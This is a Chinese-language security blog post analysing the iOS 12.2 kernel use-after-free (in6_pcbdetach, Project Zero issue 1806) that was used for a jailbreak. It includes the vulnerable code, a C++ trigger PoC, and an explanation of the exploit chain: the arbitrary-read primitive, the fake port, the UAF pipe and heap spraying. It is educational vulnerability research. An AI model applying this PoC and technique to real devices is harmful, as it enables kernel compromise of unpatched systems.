前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >iOS12-2 越狱漏洞分析

iOS12-2 越狱漏洞分析

作者头像
信安之路
发布2019-07-30 16:00:46
1.1K0
发布2019-07-30 16:00:46
举报
文章被收录于专栏:信安之路信安之路

本文作者:Peterpan0927(信安之路病毒分析小组成员 & 360 涅槃团队成员)

p0 的 nedwill 在同事的帮助下:) 完成了 iOS12.2 越狱:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

这是一个 UAF 的洞,是通过tfp0的方式来拿到内核代码执行的权限了,一般的利用方式我们都还是比较熟悉了,而且 UAF 的利用方式我们通常都是通过ROP的方式来提权,所以都要配合一个信息泄漏,所以这次的利用方式还是非常值得我们去学习的。通过代码结构来看应该是少不了 bazad 的帮助,通过他那个软件工程式的exploit就凸显了斯坦福博士的风格。不过整体都是 C++ 下的看的着实有点难受。

0x1 漏洞代码

void
in6_pcbdetach(struct inpcb *inp)
{
    // ...
  if (!(so->so_flags & SOF_PCBCLEARING)) {
    struct ip_moptions *imo;
    struct ip6_moptions *im6o;
    inp->inp_vflag = 0;
    if (inp->in6p_options != NULL) {
      m_freem(inp->in6p_options);
      inp->in6p_options = NULL; // <- good
    }
    ip6_freepcbopts(inp->in6p_outputopts); // <- bad
    ROUTE_RELEASE(&inp->in6p_route);
    // free IPv4 related resources in case of mapped addr
    if (inp->inp_options != NULL) {
      (void) m_free(inp->inp_options); // <- good
      inp->inp_options = NULL;
}

这里在进行资源释放的时候没有把inp->in6p_outputopts指向空,但是在socket断连再连接的时候就会造成UAF了,我看了一下ip6_freepcbopts这个函数,他将in6p_outputopts中的资源逐个释放并指向空,但很可惜忽略了他的上层。

我们的 poc 如下:


DanglingOptions::DanglingOptions() : dangling_(false) {
  s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  if (s_ < 0) {
    printf("failed to create socket!\n");
  }

  // 保证我们释放之后还可以进行setsockopt操作
  struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT,
                                   .npx_mask = SONPX_SETOPTSHUT};
  int res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
  if (res != 0) {
    printf("failed to enable setsockopt after disconnect!\n");
  }
  int minmtu = -1;
  
  SetMinmtu(&minmtu);
  FreeOptions();
}

bool DanglingOptions::FreeOptions() {
  if (dangling_) {
    return false;
  }
  dangling_ = true;
  //这个时候in6p_outputopts就已经被我们释放掉了
  int res = disconnectx(s_, 0, 0);
  return res == 0;
}

0x2 总体思路

整个利用的总体结构如下:

整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:

1、fdofiles

我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个array来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:

task -> proc -> fd table -> open files array (fd_ofiles) fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer

其中fake port的管道内核地址是为了构造kernel taskuaf pipe是为了释放掉它的buffer重新填充

2、20 字节的任意地址读

首先来看看我们重用的那个对象的结构体:

其中pktinfo是一个union,包含了128 bit的 ipv6 地址和一个 4 字节的整型index

struct in6_pktinfo {
         struct in6_addr ipi6_addr;      /* src/dst IPv6 address */
         unsigned int    ipi6_ifindex;   /* send/recv interface index */
 };

通过getsockopt中执行的对应option我们可以拿到这 20 字节的数据,也就是意味着每次我们通过触发 UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过api再读回来。

//通过控制option name来取不同的属性
bool DanglingOptions::GetIPv6Opt(int option_name, void *data, socklen_t size) {
  int res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);
  if (res != 0) {
    printf("GetIpv6Opt got %d\n", errno);
    return false;
  }
  return true;
}

//buffer是我们堆喷的数据
memcpy(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,
         sizeof(uint64_t));

可能不了解总的结构体的话还是会有些模糊:

struct  ip6_pktopts {
         struct  mbuf *ip6po_m;  /* Pointer to mbuf storing the data */
         int     ip6po_hlim;     /* Hoplimit for outgoing packets */
 
         /* Outgoing IF/address information */
         struct  in6_pktinfo *ip6po_pktinfo;
 
         /* Next-hop address information */
         struct  ip6po_nhinfo ip6po_nhinfo;
 
         struct  ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */
 
         /* Destination options header (before a routing header) */
         struct  ip6_dest *ip6po_dest1;
 
         /* Routing header related info. */
         struct  ip6po_rhinfo ip6po_rhinfo;
 
         /* Destination options header (after a routing header) */
         struct  ip6_dest *ip6po_dest2;
 
         int     ip6po_tclass;   /* traffic class */
 //获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址
         int     ip6po_minmtu;  /* fragment vs PMTU discovery policy */
 
 
         int     ip6po_prefer_tempaddr;  /* whether temporary addresses are
                                            preferred as source address */
 
         int ip6po_flags;
 };

任意地址读相当于是用我们想要读取的数据覆盖ip6po_pktinfo指针,所以在取的时候会对这个指针的值解引用然后读取 20 字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。

3、uaf_pipe

我们虽然构造了一个fake port但是苦于没有一个合法的port name进行操纵,所以就算我们把kernel task全都dump到了我们的fake task,也没办法进行任意地址读写,这里提出了一个新的UAF pipe,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的buffer给释放掉,注意这里释放的只是buffer,而不是pipe

再通过堆喷大量的ool ports占据这块buffer,那么这个时候buffer中应该包含着刚刚堆喷的port的内核地址,最后将uaf pipe的首 8 个字节改写为fake port的地址,这就相当于我们拥有了一个可以操控fake portport name了,最后我们接受消息,判断port name是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。

4、heap spray

我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的,ool ports是为了port nameIOSurface是因为用起来很舒服,比较自由 ,所以除非是为了fake port,我们用的都是IOSurfaceset_value

0x3 参考链接

bugs.chromium

https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 漏洞代码
  • 这里在进行资源释放的时候没有把inp->in6p_outputopts指向空,但是在socket断连再连接的时候就会造成UAF了,我看了一下ip6_freepcbopts这个函数,他将in6p_outputopts中的资源逐个释放并指向空,但很可惜忽略了他的上层。
    • 1、fdofiles
      • 3、uaf_pipe
        • 4、heap spray
        • 0x3 参考链接
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档